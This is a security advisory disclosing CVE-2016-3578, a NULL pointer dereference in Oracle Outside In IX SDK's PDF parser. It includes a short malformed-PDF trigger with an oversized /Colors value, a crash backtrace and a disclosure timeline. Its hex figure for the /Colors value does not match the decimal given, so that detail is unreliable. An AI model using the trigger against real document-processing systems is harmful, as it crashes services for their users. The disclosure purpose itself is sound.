Oracle OIT IX SDK libvs_pdf FlateDecode Colors Denial of Service Vulnerabiity(CVE-2016-3578)

### DESCRIPTION A null pointer dereference leading to process crash can occur while parsing a malformed PDF file. ### TESTED VERSIONS Oracle Outside In IX sdk 8.5.1 ### PRODUCT URLs http://www.oracle.com/technetwork/middleware/content-management/oit-all-085236.html ### DETAILS While parsing a PDF file which contains a /FlateDecode encoded stream, with a set /Predictor to a value other than 1, a malformed value for /Colors causes a NULL pointer dereference in libsc_ut.so library while de-initializing the decoder. The supplied testcase can be abbreviated to the following: ``` %PDF <</DecodeParms <</Colors 268435456 /Predictor 2 >> /Filter/FlateDecode /Length 54 /Size 60 /Type/XRef/W[1 2 1]>> stream ... startxref 116 ` ``` The invalid /Colors value , 0x100000000 in this case, causes a NULL pointer to be dereferenced during the memory read instruction. The bug can be triggered by using the `ixsample` sample application supplied with the SDK. Program state at the time of the crash: ``` 0xb7b8eb61 in IOPredictorDeInit () from /home/ea/oit_pdf/sdk/demo/libsc_ut.so eax 0x0 0 ecx 0x80b8140 134971712 edx 0x7 7 ebx 0xb7d3cb40 -1210856640 esp 0xbfffc8d0 0xbfffc8d0 ebp 0x80bc1f8 0x80bc1f8 esi 0x80b8140 134971712 edi 0x0 0 eip 0xb7b8eb61 0xb7b8eb61 <IOPredictorDeInit+45> eflags 0x10246 [ PF ZF IF RF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 #0 0xb7b8eb61 in IOPredictorDeInit () from /home/ea/oit_pdf/sdk/demo/libsc_ut.so #1 0xb7bd98bf in IOFlateDeInit () from /home/ea/oit_pdf/sdk/demo/libsc_ut.so #2 0xb7bd9b8d in IOFlateInit () from /home/ea/oit_pdf/sdk/demo/libsc_ut.so #3 0xb7b8a14e in IOOpen () from /home/ea/oit_pdf/sdk/demo/libsc_ut.so #4 0xb74d8181 in ?? () from /home/ea/oit_pdf/sdk/demo/libvs_pdf.so #5 0xb74ec2cd in ?? () from /home/ea/oit_pdf/sdk/demo/libvs_pdf.so #6 0xb74ecee6 in VwStreamOpen () from /home/ea/oit_pdf/sdk/demo/libvs_pdf.so #7 0xb7d6ee23 in FAOpenEx () from /home/ea/oit_pdf/sdk/demo/libsc_fa.so #8 0xb7fc29bc in DAGetHFilter () from /home/ea/oit_pdf/sdk/demo/libsc_da.so #9 0xb7faac7b in EXOpenExport () from /home/ea/oit_pdf/sdk/demo/libsc_ex.so #10 0x08048a5b in main () ``` ### TIMELINE * 2016-03-27 - Discovery * 2016-04-12 - Initial Vendor Contact * 2016-07-19 - Public Disclosure